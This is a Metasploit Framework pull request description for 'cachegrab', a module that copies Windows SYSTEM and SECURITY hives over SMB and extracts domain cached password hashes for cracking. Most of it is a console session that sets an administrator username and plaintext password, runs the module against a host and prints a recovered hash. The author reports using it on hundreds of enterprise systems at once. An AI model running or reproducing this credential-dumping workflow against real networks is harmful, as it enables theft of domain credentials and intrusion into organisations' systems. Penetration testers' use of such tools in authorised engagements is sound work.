rapid7/metasploit-framework — pull request #1022 by R3dy (2012-11-06 23:15:08+00:00)
Title: Cachegrab

This module extracts Domain user cached password hashes from a system or range of systems. It does so by using native windows functionality to store copies of the SYSTEM and SECURITY hive files in the WINDOWS\Temp directory and then downloads the hive files to the attacking machine to a directory specified at run time. Unless the module errors while running it will delete the hive copies from the WINDOWS\Temp directory. Once the hive files are stored locally they are opened up and the cached password hashes are extracted. This is great when ran against a large number of systems for getting domain cached credentials that can be broken with a good dictionary file.

Appears to work very well with threads tested on two large enterprise networks on several hundreds of systems simultaneously.

Only issue is with authentication. Sometimes it fails with "Login Failed: execution expired". Try again and it works, not sure what is the cause of this.

msf auxiliary(cachegrab) > use auxiliary/scanner/smb/cachegrab
msf auxiliary(cachegrab) > set rhosts 10.0.10.133
rhosts => 10.0.10.133
msf auxiliary(cachegrab) > set smbuser Administrator
smbuser => Administrator
msf auxiliary(cachegrab) > set smbpass @ccuv@ntL@bs!
smbpass => @ccuv@ntL@bs!
msf auxiliary(cachegrab) > show options

Module options (auxiliary/scanner/smb/cachegrab):

Name Current Setting Required Description
---- --------------- -------- -----------
LOGDIR /tmp/msfhashes2012-11-06-165811 yes This is a directory on your local attacking system used to store Hive files and hashes
RHOSTS 10.0.10.133 yes The target address range or CIDR identifier
RPORT 445 yes The Target port son
SMBDomain WORKGROUP no The Windows domain to use for authentication
SMBPass @ccuv@ntL@bs! no The password for the specified username
SMBSHARE C$ yes The name of a writeable share on the server
SMBUser Administrator no The username to authenticate as
THREADS 1 yes The number of concurrent threads

msf auxiliary(cachegrab) > run

[*] Creating hive copies on 10.0.10.133
[*] 10.0.10.133 - Downloading SYSTEM and SECURITY hive files.
[*] Running cleanup on 10.0.10.133
[*] 10.0.10.133 - Opening hives on the local Attack system
[*] 10.0.10.133 - Extracting Domain Cached Password hashes.
[*] Dumping cached credentials...
[*] John the Ripper format:
[+] serveradmin:ec0df2a09f01e2d6c2a9ce05489e3ab3:dbz-vuln.nets:dbz-vuln - 10.0.10.133
[*] Scanned 1 of 1 hosts (100% complete)
[*] Auxiliary module execution completed
msf auxiliary(cachegrab) >